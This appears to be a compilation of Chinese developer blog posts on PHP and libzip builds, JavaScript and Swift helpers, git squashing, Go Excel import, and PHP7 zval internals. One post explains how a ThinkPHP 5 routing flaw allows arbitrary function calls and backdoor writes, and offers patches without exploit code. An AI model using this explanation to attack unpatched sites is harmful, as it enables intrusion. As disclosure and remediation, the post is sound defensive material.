编译安装 PHP7

准备工作

  • 安装 epel
yum install -y yum-utils
package-cleanup --cleandupes
yum update -y
yum install -y epel-release
# 如果找不到epel-release包,则进行下面两步操作
# wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
# rpm -ivh epel-release-latest-7.noarch.rpm
  • 安装必备的依赖
yum install -y gcc-c++ autoconf make \
libjpeg libjpeg-devel  \
libpng libpng-devel \
freetype freetype-devel \
libxml2 libxml2-devel \
zlib zlib-devel unzip \
zip libzip-devel \
glibc glibc-devel \
glib2 glib2-devel \
bzip2 bzip2-devel \
curl curl-devel libcurl-devel \
ncurses openssl-devel \
gdbm-devel db4-devel libXpm-devel \
libX11-devel gd-devel gmp-devel \
readline-devel libxslt-devel \
expat-devel xmlrpc-c xmlrpc-c-devel \
libicu-devel libmcrypt-devel \
libmemcached-devel \
oniguruma oniguruma-devel \
sqlite-devel \
wget
  • 下载 PHP8 安装包

官方下载地址:PHP Downloads

cd /usr/src/
wget https://www.php.net/distributions/php-8.0.0.tar.bz2 -O php.bz2
tar -xjf php.bz2
mv php-* php
cd /usr/src/php

编译 PHP8

  • 查看可配置的编译参数
./configure --help
  • 编译安装
./configure --prefix=/usr/local/php \
--enable-gd \
--enable-dba \
--enable-fpm \
--enable-dom \
--enable-pdo \
--enable-exif \
--enable-intl \
--enable-soap \
--enable-pcntl \
--enable-shmop \
--enable-bcmath \
--enable-filter \
--enable-session \
--enable-sockets \
--enable-calendar \
--enable-mbstring \
--enable-simplexml \
--disable-fileinfo \
--with-bz2 \
--with-cdb \
--with-curl \
--with-pear \
--with-zlib \
--with-mhash \
--with-iconv \
--with-mysqli \
--with-openssl \
--with-pcre-jit \
--with-pdo-mysql \
--with-mysql-sock \
--with-openssl-dir

make
make install

后续工作

  • 测试是否安装成功
/usr/local/php/bin/php -v
  • 做软链,以便直接用 php 命令运行
ln -sf /usr/local/php/bin/php /usr/local/bin/php
ln -sf /usr/local/php/bin/php-config /usr/bin/php-config
ln -sf /usr/local/php/bin/phpize /usr/local/bin/phpize
ln -sf /usr/local/php/bin/pecl /usr/local/bin/pecl
  • 验证
php -v
  • 复制配置文件
cp /usr/src/php/php.ini-development /usr/local/php/lib/php.ini
cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf
cp /usr/local/php/etc/php-fpm.d/www.conf.default /usr/local/php/etc/php-fpm.d/www.conf
cp /usr/src/php/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
chmod +x /etc/init.d/php-fpm
  • 启动 php-fpm
service php-fpm start
  • 配置开机启动 php-fpm
chkconfig php-fpm on

背景

在 javascript 中,当通过 Object.assign(...objs) 方法合并对象属性时,会出现部分子节点数据缺失的情况。

比如如下示例

let objA = {
  a: {
    b: 'b'
  }
};

Object.assign(objA, {
  a: {
    c: 'c'
  }
});

console.log(objA);

期望得到的 objA 结果是

  a: {
    b: 'b',
    c: 'c',
  }

但实际结果却是

  a: {
    c: 'c'
  }

objA 的属性 a 被后面对象的 a 属性完全替代了,这在某些场景下是不符合预期的。

解决

  1. 将当前对象打平(flatten),这样其子节点的访问路径就是个唯一的 “属性名称”
  2. 通过 Object.assign() 方法合并打平后的属性
  3. 展开(unflatten) 最后的结果。

实现代码如下

function _flatten(obj, sep = '.') {
  function recurse(curr, prefix, res = {}) {
    if (Array.isArray(curr)) {
      curr.forEach((item, index) => {
        recurse(item, prefix ? `${prefix}${sep}${index}` : `${index}`, res);
      });
    } else if (curr instanceof Object) {
      const keys = Object.keys(curr);
      if (keys.length) {
        keys.forEach((key) => {
          recurse(curr[key], prefix ? `${prefix}${sep}${key}` : `${key}`, res);
        });
      } else if (prefix) {
        res[prefix] = curr;
      }
    } else {
      res[prefix] = curr;
    }
  }
  let output = {};
  recurse(obj, '', output);
  return output;
}

function _unflatten(obj, sep = '.') {
  let output = {};
  Object.keys(obj).forEach(key => {
    if (key.indexOf(sep) !== -1) {
      const keyArr = key.split('.').filter(item => item !== '');
      let currObj = output;
      keyArr.forEach((k, i) => {
        if (typeof currObj[k] === 'undefined') {
          if (i === keyArr.length - 1) {
            currObj[k] = obj[key];
          } else {
            currObj[k] = isNaN(keyArr[i + 1]) ? {} : [];
          }
        }
        currObj = currObj[k];
      });
    } else {
      output[key] = obj[key];
    }
  });
  return output;
}

function _assignObject(targetObj, ...objs) {
  const res = _flatten(targetObj);
  objs.forEach(obj => {
    Object.assign(res, _flatten(obj));
  });
  Object.assign(targetObj, _unflatten(res));
  return targetObj;
}

使用示例

let objA = {
  a: {
    b: [
      { c: 'c' },
      { d: 'd' }
    ]
  }
};

_assignObject(objA, { a: { x: 'x' } }, { y: [1, 2, 3] });

console.log(JSON.stringify(objA, null, 2));

output:

{
  "a": {
    "b": [
      {
        "c": "c"
      },
      {
        "d": "d"
      }
    ],
    "x": "x"
  },
  "y": [
    1,
    2,
    3
  ]
}

用于校验文件传输的完整性,可实现边上传边计算,主要用于分块上传场景。

实现代码

<?php

class Crc64
{
    private static $crc64tab = [];

    private $value = 0;

    public function __construct()
    {
        if (!self::$crc64tab) {
            $crc64tab  = [];
            $poly64rev = (0xC96C5795 << 32) | 0xD7870F42;
            for ($n = 0; $n < 256; ++$n) {
                $crc = $n;
                for ($k = 0; $k < 8; ++$k) {
                    if ($crc & true) {
                        $crc = ($crc >> 1) & ~(0x8 << 60) ^ $poly64rev;
                    } else {
                        $crc = ($crc >> 1) & ~(0x8 << 60);
                    }
                }
                $crc64tab[$n] = $crc;
            }
            self::$crc64tab = $crc64tab;
        }
    }

    public function append($string)
    {
        for ($i = 0; $i < \strlen($string); ++$i) {
            $this->value = ~$this->value;
            $this->value = $this->value(\ord($string[$i]), $this->value);
            $this->value = ~$this->value;
        }
    }

    public function getValue()
    {
        return (string) (sprintf('%u', $this->value));
    }

    private function value($byte, $crc)
    {
        return self::$crc64tab[($crc ^ $byte) & 0xff] ^ (($crc >> 8) & ~(0xff << 56));
    }
}

使用示例

<?php

$crc = new Crc64();

$crc->append('t');
$crc->append('e');
$crc->append('s');
$crc->append('t');

var_dump($crc->getValue());

// output
// string(20) "18020588380933092773"

使用 PromiseKit扩展 Alamofire,通过 AwaitKit 同步获取回调, 使 Alamofire 支持 promise/await/async 调用

Related swift packages

Required Alamofire&AwaitKit

Package.swift

 dependencies: [
            .package(url: "https://github.com/Alamofire/Alamofire.git", from: "4.9.1"),
            .package(url: "https://github.com/yannickl/AwaitKit.git", from:"5.2.0")
        ],
 targets: [
            .target(
                    name: "<Your-Package-Name>",
                    dependencies: [
                        "Alamofire",
                        "AwaitKit"
                    ])
        ],

Source code

//
// Created by Axios on 2020/1/14.
//

import Foundation
import Alamofire
import PromiseKit

extension Alamofire.DataRequest {
    public func response(queue: DispatchQueue? = nil) -> Promise<DefaultDataResponse> {
        let RequestQueue: DispatchQueue = DispatchQueue(label: "RequestQueue.Alamofire.DataRequest.response", attributes: .init(rawValue: 0))
        return Promise { seal in
            response(queue: RequestQueue) { response in
                seal.fulfill(response)
            }
        }
    }

    public func responseString() -> Promise<DataResponse<String>> {
        let RequestQueue: DispatchQueue = DispatchQueue(label: "RequestQueue.Alamofire.DataRequest.responseString", attributes: .init(rawValue: 0))
        return Promise { seal in
            responseString(queue: RequestQueue) { response in
                seal.fulfill(response)
            }
        }
    }

    public func responseData() -> Promise<DataResponse<Data>> {
        let RequestQueue: DispatchQueue = DispatchQueue(label: "RequestQueue.Alamofire.DataRequest.responseData", attributes: .init(rawValue: 0))
        return Promise { seal in
            responseData(queue: RequestQueue) { response in
                seal.fulfill(response)
            }
        }
    }

    public func responseJSON(options: JSONSerialization.ReadingOptions = .allowFragments) -> Promise<DataResponse<Any>> {
        let RequestQueue: DispatchQueue = DispatchQueue(label: "RequestQueue.Alamofire.DataRequest.responseJSON", attributes: .init(rawValue: 0))
        return Promise { seal in
            responseJSON(queue: RequestQueue, options: options) { response in
                seal.fulfill(response)
            }
        }
    }

    public func responsePropertyList(
            queue: DispatchQueue? = nil,
            options: PropertyListSerialization.ReadOptions = PropertyListSerialization.ReadOptions()
    ) -> Promise<DataResponse<Any>> {
        let RequestQueue: DispatchQueue = DispatchQueue(label: "RequestQueue.Alamofire.DataRequest.responsePropertyList", attributes: .init(rawValue: 0))
        return Promise { seal in
            responsePropertyList(queue: RequestQueue, options: options) { response in
                seal.fulfill(response)
            }
        }
    }
}

extension Alamofire.DownloadRequest {
    public func response(_: PMKNamespacer, queue: DispatchQueue? = nil) -> Promise<DefaultDownloadResponse> {
        let RequestQueue: DispatchQueue = DispatchQueue(label: "RequestQueue.Alamofire.DownloadRequest.response", attributes: .init(rawValue: 0))
        return Promise { seal in
            response(queue: RequestQueue) { response in
                seal.fulfill(response)
            }
        }
    }

    public func responseData(queue: DispatchQueue? = nil) -> Promise<DownloadResponse<Data>> {
        let RequestQueue: DispatchQueue = DispatchQueue(label: "RequestQueue.Alamofire.DownloadRequest.responseData", attributes: .init(rawValue: 0))
        return Promise { seal in
            responseData(queue: RequestQueue) { response in
                seal.fulfill(response)
            }
        }
    }
}

Usage

let promise = Alamofire.request("https://httpbin.org/get", method: HTTPMethod.get).response()
let res: DefaultDataResponse = try! await(promise)
XCTAssertNotNil(res)
let result: String = String(data: res.data!, encoding: .utf8) ?? ""
XCTAssertFalse(result.isEmpty)

前言

执行 pod install 安装依赖包后,在使用依赖类的时候一直出现 “ No such module ”的编译错误。搜遍了各种资料,尝试了 N 种方法还是不行。

开发环境

  • Swift5.1
  • XCode 11.3

最后在 《Cocoapods常见问题总结及解决方法》这个文章里看到一个方法,但是操作后依然不行,最后突发奇想,既然 pod install 不能很好的引用 pods framework ,那我手动添加呢,结果一试还真就成了。以下具体阐述操作步骤。

操作

  1. 点击左侧蓝色图标的项目文件
  2. 选择 General 选项,在 Frameworks and Libraries 找到 Pods_*.framework,全部删除。
  3. 点击 Frameworks and Libraries 下的 + 号,在弹出窗口中的 Add Other 下拉选项里,选择 Add Files
  4. 找到要添加的 Pods.xcodeproj,一般是在 Pods 目录下。
  5. 再次点击 Frameworks and Libraries 下的 + 号,在弹出窗口中搜索 pods
  6. 选中 Pods_<ProjectName>.frameworkPods_<TestsProjectName>.framework 后,点击 Add 按钮

图片示例

1.jpg


2.jpg


3.jpg


4.jpg

doc : re2c.org

download

git clone https://git.code.sf.net/p/re2c/code-git re2c

build

cd re2c/re2c/
./autogen.sh
./configure --prefix=/usr/local/re2c/
make
make install

link

ln -sf /usr/local/re2c/bin/re2c /usr/local/bin/re2c

use

re2c -v

re2c -h

当发起一个pr后,发现没有达到预期,会提交多个commit修复问题,这样的结果会造成commit碎片化,而coomit记录压缩(squash)就是为了解决这样的问题。

查看提交日志

git log

# 进入查看模式后,按q退出

此步的目的是为了查看需要合并哪些提交记录

发起变基

git rebase -i HEAD~<number>

# example : git rebase -i HEAD~4
# HEAD~4的含义是从头部开始追溯4条记录

发起变基后,会进入编辑模式
将需要压缩的commit前面的pick改为squash
不能全部squash,至少保留一个pick

:wq      #保存后进入下一个编辑模式查看变更详情
:wq      #继续保存

此时使用 git status 可以查看当前本地仓库状态

解决冲突并保存修改

git pull
# 拉取之后如果有冲突的话,解决冲突后,保存修改

完成变基操作bing并提交远程分支

# 取消变基:git rebase --abort

# 如果没有冲突打断变基的话,不用执行continue
git rebase --continue

git push -f origin branch_name
# 操作完git push 后,会看到压缩情况的信息

今天帮朋友处理一批Excel表格,大概一共不到40万行的数据,经过预处理后,要以可视化图表的形式展现,首先要解决的就是Excel表格数据的导入。一开始,打算用php语言实现,毕竟我自己有个开源的管理系统项目是用php写的,二开的话开发速度比较快。但是由于数据表过大,总是报内存溢出的错误,后来又尝试了一些c++写的php扩展,发现依然不是很理想,甚至很多已经很久不维护了,不支持我当前的运行环境。

后来,我转变了思路,打算使用golang实现excel的读取,然后导入到mysql中,php查询mysql数据库进行简单的数据处理后回调给前端,前端再用echarts做可视化展现。

以下为本次实践的日记,方便以后做类似功能的时候,可以翻阅。

go部分实现代码

用到的开源组件 github.com/360EntSecGroup-Skylar/excelize

Excel读取

  • excel读取器

    xlsx, err := excelize.OpenFile(fileName)
  • 获取sheet name

    sheetName := xlsx.GetSheetName(1)
  • 获取所有行

    rows := xlsx.GetRows(sheetName)
  • 遍历

    for index, row := range rows {
          if index != 0 {// 跳过表头
              for index, colCell := range row {
                  fmt.Print(colCell, "\t")
              }
              fmt.Println()
          }
      }

xorm数据库操作

var db *xorm.Engine

func init() {
    var err error
    db, err = xorm.NewEngine("mysql", "{username}:{password}@tcp({host})/{database}")
    if err != nil {
        panic(err)
    }
    tbMapper := core.NewPrefixMapper(core.SnakeMapper{}, "")
    db.SetTableMapper(tbMapper)
}

func GetDB() *xorm.Engine {
    return db
}

其它操作

  • mysql建立索引,加快查询速度,注意字段字符集为utf8
  • php使用 tpr-db 进行数据库查询,并且它有数据库迁移备份的功能,可以把数据导出为sql文件,并重新导入到任意mysql实例中。
  • php端编写业务接口
  • 前端异步请求php接口获取不同年份的数据,并使用echarts展示

卸载旧版本libzip

yum remove -y libzip

安装cmake3

yum install -y cmake3
sudo ln -sf /usr/bin/cmake3 /usr/bin/cmake

下载最新版libzip

wget https://libzip.org/download/libzip-1.5.2.tar.gz -O libzip.tar.gz
tar xvf libzip.tar.gz
cd libzip*

使用cmake3编译安装libzip

mkdir build && cd build
cmake ..
make && make install

php zip扩展安装

/usr/local/php7/bin/pecl install zip

echo "extension=zip.so;" >> /usr/local/php7/lib/php.ini

service php-fpm restart

官方说明

漏洞阐述

漏洞原因:
tp在没有配置路由的情况下的访问方式如下
module/controller/action
当controller设置为tp内的app类时,即\think\app时,可以执行\think\app内的任一方法,而在\think\app类中存在
invokeFunction方法,可以用字符串形式传入参数,并将字符串转化为函数执行,从而产生写入漏洞。
攻击者可以利用这个漏洞,写入.php后缀的后门入口文件。

官方建议的修复方式:

ThinkPHP5.*版本发布安全更新

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

官方的修复原理:http请求的controller名称中如果有斜线则报错,即在没有斜线的情况下,会拼接应用命名控制,这样就防止了直接访问think\app类。PS: 这个正则过滤的杀伤范围有点大。
但是如果在应用内或其它地方使用了Loader::controller()方法,以参数方式传入完整类名,依然可以实现实例化任意已经加载的类。

官方的5.1内核修复版本 5.1.31

我建议的修复方法

修复方法

修改Loader类中的controller方法

if (false !== strpos($name, '\\')) {
    $class  = $name;
    $module = Request::instance()->module();
} else {
    if (strpos($name, '/')) {
        list($module, $name) = explode('/', $name);
    } else {
        $module = Request::instance()->module();
    }
    $class = self::parseClass($module, $layer, $name, $appendSuffix);
 }

改为

if (strpos($name, '/')) {
     list($module, $name) = explode('/', $name);
} else {
     $module = Request::instance()->module();
}
$class = self::parseClass($module, $layer, $name, $appendSuffix);

修复原理

修改后,http的调用只能使用app内的controller,即命名空间限定在app中,不能实例化其它类。

强调:这样改的缺点是Loader类的controller方法只能实例化当前应用内的控制器类,即限定了类的命名空间。

修复示例

github-commit

不修改内核的改动思路

老版本不想更新内核的话,可以监听app_begin行为,判断请求的controller名称中没有斜线就行了。

原文地址: 深入理解PHP7之zval

深入理解PHP7之zval

PHP7已经发布, 如承诺, 我也要开始这个系列的文章的编写, 今天我想先和大家聊聊zval的变化. 在讲zval变化的之前我们先来看看zval在PHP5下面是什么样子

版权申明:
本文是原创作品,包括文字、资料、图片、网页格式,转载时请标注作者与来源。非经允许,不得用于赢利目的。

PHP5

zval回顾

在PHP5的时候, zval的定义如下:

struct _zval_struct {
    union {
        long lval;
        double dval;
        struct {
            char *val;
            int len;
        } str;
        HashTable *ht;
        zend_object_value obj;
        zend_ast *ast;
    } value;
    zend_uint refcount__gc;
    zend_uchar type;
    zend_uchar is_ref__gc;
};

对PHP5内核有了解的同学应该对这个结构比较熟悉, 因为zval可以表示一切PHP中的数据类型, 所以它包含了一个type字段, 表示这个zval存储的是什么类型的值, 常见的可能选项是IS_NULL, IS_LONG, IS_STRING, IS_ARRAY, IS_OBJECT等等.

根据type字段的值不同, 我们就要用不同的方式解读value的值, 这个value是个联合体, 比如对于type是IS_STRING, 那么我们应该用value.str来解读zval.value字段, 而如果type是IS_LONG, 那么我们就要用value.lval来解读.

另外, 我们知道PHP是用引用计数来做基本的垃圾回收的, 所以zval中有一个refcount__gc字段, 表示这个zval的引用数目, 但这里有一个要说明的, 在5.3以前, 这个字段的名字还叫做refcount, 5.3以后, 在引入新的垃圾回收算法来对付循环引用计数的时候, 作者加入了大量的宏来操作refcount, 为了能让错误更快的显现, 所以改名为refcount__gc, 迫使大家都使用宏来操作refcount.

类似的, 还有is_ref, 这个值表示了PHP中的一个类型是否是引用, 这里我们可以看到是不是引用是一个标志位.

这就是PHP5时代的zval, 在2013年我们做PHP5的opcache JIT的时候, 因为JIT在实际项目中表现不佳, 我们转而意识到这个结构体的很多问题. 而PHPNG项目就是从改写这个结构体而开始的.

存在的问题

PHP5的zval定义是随着Zend Engine 2诞生的, 随着时间的推移, 当时设计的局限性也越来越明显:

首先这个结构体的大小是(在64位系统)24个字节, 我们仔细看这个zval.value联合体, 其中zend_object_value是最大的长板, 它导致整个value需要16个字节, 这个应该是很容易可以优化掉的, 比如把它挪出来, 用个指针代替,因为毕竟IS_OBJECT也不是最最常用的类型.

第二, 这个结构体的每一个字段都有明确的含义定义, 没有预留任何的自定义字段, 导致在PHP5时代做很多的优化的时候, 需要存储一些和zval相关的信息的时候, 不得不采用其他结构体映射, 或者外部包装后打补丁的方式来扩充zval, 比如5.3的时候新引入专门解决循环引用的GC, 它不得采用如下的比较hack的做法:

/* The following macroses override macroses from zend_alloc.h */
#undef  ALLOC_ZVAL
#define ALLOC_ZVAL(z)                                   \
    do {                                                \
        (z) = (zval*)emalloc(sizeof(zval_gc_info));     \
        GC_ZVAL_INIT(z);                                \
    } while (0)

它用zval_gc_info劫持了zval的分配:

typedef struct _zval_gc_info {
    zval z;
    union {
        gc_root_buffer       *buffered;
        struct _zval_gc_info *next;
    } u;
} zval_gc_info;

然后用zval_gc_info来扩充了zval, 所以实际上来说我们在PHP5时代申请一个zval其实真正的是分配了32个字节, 但其实GC只需要关心IS_ARRAY和IS_OBJECT类型, 这样就导致了大量的内存浪费.

还比如我之前做的Taint扩展, 我需要对于给一些字符串存储一些标记, zval里没有任何地方可以使用, 所以我不得不采用非常手段:

Z_STRVAL_PP(ppzval) = erealloc(Z_STRVAL_PP(ppzval), Z_STRLEN_PP(ppzval) + 1 + PHP_TAINT_MAGIC_LENGTH);
PHP_TAINT_MARK(*ppzval, PHP_TAINT_MAGIC_POSSIBLE);

就是把字符串的长度扩充一个int, 然后用magic number做标记写到后面去, 这样的做法安全性和稳定性在技术上都是没有保障的

第三, PHP的zval大部分都是按值传递, 写时拷贝的值, 但是有俩个例外, 就是对象和资源, 他们永远都是按引用传递, 这样就造成一个问题, 对象和资源在除了zval中的引用计数以外, 还需要一个全局的引用计数, 这样才能保证内存可以回收. 所以在PHP5的时代, 以对象为例, 它有俩套引用计数, 一个是zval中的, 另外一个是obj自身的计数:

typedef struct _zend_object_store_bucket {
    zend_bool destructor_called;
    zend_bool valid;
    union _store_bucket {
        struct _store_object {
            void *object;
            zend_objects_store_dtor_t dtor;
            zend_objects_free_object_storage_t free_storage;
            zend_objects_store_clone_t clone;
            const zend_object_handlers *handlers;
            zend_uint refcount;
            gc_root_buffer *buffered;
        } obj;
        struct {
            int next;
        } free_list;
    } bucket;
} zend_object_store_bucket;

除了上面提到的两套引用以外, 如果我们要获取一个object, 则我们需要通过如下方式:

EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(z)].bucket.obj

经过漫长的多次内存读取, 才能获取到真正的objec对象本身. 效率可想而知.

这一切都是因为Zend引擎最初设计的时候, 并没有考虑到后来的对象. 一个良好的设计, 一旦有了意外, 就会导致整个结构变得复杂, 维护性降低, 这是一个很好的例子.

第四, 我们知道PHP中, 大量的计算都是面向字符串的, 然而因为引用计数是作用在zval的, 那么就会导致如果要拷贝一个字符串类型的zval, 我们别无他法只能复制这个字符串. 当我们把一个zval的字符串作为key添加到一个数组里的时候, 我们别无他法只能复制这个字符串. 虽然在PHP5.4的时候, 我们引入了INTERNED STRING, 但是还是不能根本解决这个问题.

还比如, PHP中大量的结构体都是基于Hashtable实现的, 增删改查Hashtable的操作占据了大量的CPU时间, 而字符串要查找首先要求它的Hash值, 理论上我们完全可以把一个字符串的Hash值计算好以后, 就存下来, 避免再次计算等等

第五, 这个是关于引用的, PHP5的时代, 我们采用写时分离, 但是结合到引用这里就有了一个经典的性能问题:

<?php

    function dummy($array) {}

    $array = range(1, 100000);

    $b = &$array;

    dummy($array);
?>

当我们调用dummy的时候, 本来只是简单的一个传值就行的地方, 但是因为$array曾经引用赋值给了$b, 所以导致$array变成了一个引用, 于是此处就会发生分离, 导致数组复制, 从而极大的拖慢性能, 这里有一个简单的测试:

<?php
$array = range(1, 100000);

function dummy($array) {}

$i = 0;
$start = microtime(true);
while($i++ < 100) {
    dummy($array);
}

printf("Used %sS\n", microtime(true) - $start);

$b = &$array; //注意这里, 假设我不小心把这个Array引用给了一个变量
$i = 0;
$start = microtime(true);
while($i++ < 100) {
    dummy($array);
}
printf("Used %sS\n", microtime(true) - $start);
?>

我们在5.6下运行这个例子, 得到如下结果:

$ php-5.6/sapi/cli/php /tmp/1.php
Used 0.00045204162597656S
Used 4.2051479816437S

相差1万倍之多. 这就造成, 如果在一大段代码中, 我不小心把一个变量变成了引用(比如foreach as &$v), 那么就有可能触发到这个问题, 造成严重的性能问题, 然而却又很难排查.

第六, 也是最重要的一个, 为什么说它重要呢? 因为这点促成了很大的性能提升, 我们习惯了在PHP5的时代调用MAKE_STD_ZVAL在堆内存上分配一个zval, 然后对他进行操作, 最后呢通过RETURN_ZVAL把这个zval的值"copy"给return_value, 然后又销毁了这个zval, 比如pathinfo这个函数:

PHP_FUNCTION(pathinfo)
{
.....
    MAKE_STD_ZVAL(tmp);
    array_init(tmp);
.....

    if (opt == PHP_PATHINFO_ALL) {
        RETURN_ZVAL(tmp, 0, 1);
    } else {
.....
}

这个tmp变量, 完全是一个临时变量的作用, 我们又何必在堆内存分配它呢? MAKE_STD_ZVAL/ALLOC_ZVAL在PHP5的时候, 到处都有, 是一个非常常见的用法, 如果我们能把这个变量用栈分配, 那无论是内存分配, 还是缓存友好, 都是非常有利的

还有很多, 我就不一一详细列举了, 但是我相信你们也有了和我们当时一样的想法, zval必须得改改了, 对吧?

PHP7

现在的zval

到了PHP7中, zval变成了如下的结构, 要说明的是, 这个是现在的结构, 已经和PHPNG时候有了一些不同了, 因为我们新增加了一些解释 (联合体的字段), 但是总体大小, 结构, 是和PHPNG的时候一致的:

struct _zval_struct {
    union {
        zend_long         lval;             /* long value */
        double            dval;             /* double value */
        zend_refcounted  *counted;
        zend_string      *str;
        zend_array       *arr;
        zend_object      *obj;
        zend_resource    *res;
        zend_reference   *ref;
        zend_ast_ref     *ast;
        zval             *zv;
        void             *ptr;
        zend_class_entry *ce;
        zend_function    *func;
        struct {
            uint32_t w1;
            uint32_t w2;
        } ww;
    } value;
    union {
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    type,         /* active type */
                zend_uchar    type_flags,
                zend_uchar    const_flags,
                zend_uchar    reserved)     /* call info for EX(This) */
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t     var_flags;
        uint32_t     next;                 /* hash collision chain */
        uint32_t     cache_slot;           /* literal cache slot */
        uint32_t     lineno;               /* line number (for ast nodes) */
        uint32_t     num_args;             /* arguments number for EX(This) */
        uint32_t     fe_pos;               /* foreach position */
        uint32_t     fe_iter_idx;          /* foreach iterator index */
    } u2;
};

虽然看起来变得好大, 但其实你仔细看, 全部都是联合体, 这个新的zval在64位环境下,现在只需要16个字节(2个指针size), 它主要分为俩个部分, value和扩充字段, 而扩充字段又分为u1u2俩个部分, 其中u1是type info, u2是各种辅助字段.

其中value部分, 是一个size_t大小(一个指针大小), 可以保存一个指针, 或者一个long, 或者一个double.

而type info部分则保存了这个zval的类型. 扩充辅助字段则会在多个其他地方使用, 比如next, 就用在取代Hashtable中原来的拉链指针, 这部分会在以后介绍HashTable的时候再来详解.

类型

PHP7中的zval的类型做了比较大的调整, 总体来说有如下17种类型:

/* regular data types */
#define IS_UNDEF                    0
#define IS_NULL                     1
#define IS_FALSE                    2
#define IS_TRUE                     3
#define IS_LONG                     4
#define IS_DOUBLE                   5
#define IS_STRING                   6
#define IS_ARRAY                    7
#define IS_OBJECT                   8
#define IS_RESOURCE                 9
#define IS_REFERENCE                10

/* constant expressions */
#define IS_CONSTANT                 11
#define IS_CONSTANT_AST             12

/* fake types */
#define _IS_BOOL                    13
#define IS_CALLABLE                 14

/* internal types */
#define IS_INDIRECT                 15
#define IS_PTR                      17

其中PHP5的时候的IS_BOOL类型, 现在拆分成了IS_FALSEIS_TRUE俩种类型. 而原来的引用是一个标志位, 现在的引用是一种新的类型.

对于IS_INDIRECTIS_PTR来说, 这俩个类型是用在内部的保留类型, 用户不会感知到, 这部分会在后续介绍HashTable的时候也一并介绍.

从PHP7开始, 对于在zval的value字段中能保存下的值, 就不再对他们进行引用计数了, 而是在拷贝的时候直接赋值, 这样就省掉了大量的引用计数相关的操作, 这部分类型有:

IS_LONG
IS_DOUBLE

当然对于那种根本没有值, 只有类型的类型, 也不需要引用计数了:

IS_NULL
IS_FALSE
IS_TRUE

而对于复杂类型, 一个size_t保存不下的, 那么我们就用value来保存一个指针, 这个指针指向这个具体的值, 引用计数也随之作用于这个值上, 而不在是作用于zval上了.

zval示意图

IS_ARRAY为例:

struct _zend_array {
    zend_refcounted_h gc;
    union {
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    flags,
                zend_uchar    nApplyCount,
                zend_uchar    nIteratorsCount,
                zend_uchar    reserve)
        } v;
        uint32_t flags;
    } u;
    uint32_t          nTableMask;
    Bucket           *arData;
    uint32_t          nNumUsed;
    uint32_t          nNumOfElements;
    uint32_t          nTableSize;
    uint32_t          nInternalPointer;
    zend_long         nNextFreeElement;
    dtor_func_t       pDestructor;
};

zval.value.arr将指向上面的这样的一个结构体, 由它实际保存一个数组, 引用计数部分保存在zend_refcounted_h结构中:

typedef struct _zend_refcounted_h {
    uint32_t         refcount;          /* reference counter 32-bit */
    union {
        struct {
            ZEND_ENDIAN_LOHI_3(
                zend_uchar    type,
                zend_uchar    flags,    /* used for strings & objects */
                uint16_t      gc_info)  /* keeps GC root number (or 0) and color */
        } v;
        uint32_t type_info;
    } u;
} zend_refcounted_h;

所有的复杂类型的定义, 开始的时候都是zend_refcounted_h结构, 这个结构里除了引用计数以外, 还有GC相关的结构. 从而在做GC回收的时候, GC不需要关心具体类型是什么, 所有的它都可以当做zend_refcounted*结构来处理.

另外有一个需要说明的就是大家可能会好奇的ZEND_ENDIAN_LOHI_4宏, 这个宏的作用是简化赋值, 它会保证在大端或者小端的机器上, 它定义的字段都按照一样顺序排列存储, 从而我们在赋值的时候, 不需要对它的字段分别赋值, 而是可以统一赋值, 比如对于上面的array结构为例, 就可以通过:

arr1.u.flags = arr2.u.flags;

一次完成相当于如下的赋值序列:

arr1.u.v.flags              = arr2.u.v.flags;
arr1.u.v.nApplyCount        = arr2.u.v.nApplyCount;
arr1.u.v.nIteratorsCount    = arr2.u.v.nIteratorsCount;
arr1.u.v.reserve            = arr2.u.v.reserve;

还有一个大家可能会问到的问题是, 为什么不把type类型放到zval类型的前面, 因为我们知道当我们去用一个zval的时候, 首先第一点肯定是先去获取它的类型. 这里的一个原因是, 一个是俩者差别不大, 另外就是考虑到如果以后JIT的话, zval的类型如果能够通过类型推导获得, 就根本没有必要去读取它的type值了.

标志位

除了数据类型以外, 以前的经验也告诉我们, 一个数据除了它的类型以外, 还应该有很多其他的属性, 比如对于INTERNED STRING,它是一种在整个PHP请求期都存在的字符串(比如你写在代码中的字面量), 它不会被引用计数回收. 在5.4的版本中我们是通过预先申请一块内存, 然后再这个内存中分配字符串, 最后用指针地址来比较, 如果一个字符串是属于INTERNED STRING的内存范围内, 就认为它是INTERNED STRING. 这样做的缺点显而易见, 就是当内存不够的时候, 我们就没有办法分配INTERNED STRING了, 另外也非常丑陋, 所以如果一个字符串能有一些属性定义则这个实现就可以变得很优雅.

还有, 比如现在我们对于IS_LONG, IS_TRUE等类型不再进行引用计数了, 那么当我们拿到一个zval的时候如何判断它需要不需要引用计数呢? 想当然的我们可能会说用:

if (Z_TYPE_P(zv) >= IS_STRING) {
  //需要引用计数
}

但是你忘了, 还有INTERNED STRING的存在啊, 所以你也许要这么写了:

if (Z_TYPE_P(zv) >= IS_STRING && !IS_INTERNED(Z_STR_P(zv))) {
  //需要引用计数
}

是不是已经让你感觉到有点不对劲了? 嗯,别急, 还有呢, 我们还在5.6的时候引入了常量数组, 这个数组呢会存储在Opcache的共享内存中, 它也不需要引用计数:

if (Z_TYPE_P(zv) >= IS_STRING && !IS_INTERNED(Z_STR_P(zv))
    && (Z_TYPE_P(zv) != IS_ARRAY || !Z_IS_IMMUTABLE(Z_ARRVAL(zv)))) {
 //需要引用计数
}

你是不是也觉得这简直太丑陋了, 简直不能忍受这样墨迹的代码, 对吧?

是的,我们早想到了,回头看之前的zval定义, 注意到type_flags了么? 我们引入了一个标志位, 叫做IS_TYPE_REFCOUNTED, 它会保存在zval.u1.v.type_flags中, 我们对于需要引用计数的类型就赋予这个标志, 所以上面的判断就可以变得很优雅:

if (!(Z_TYPE_FLAGS(zv) & IS_TYPE_REFCOUNTED)) {
}

而对于INTERNED STRING来说, 这个IS_STR_INTERNED标志位应该是作用于字符串本身而不是zval的.

那么类似这样的标志位一共有多少呢?作用于zval的有:

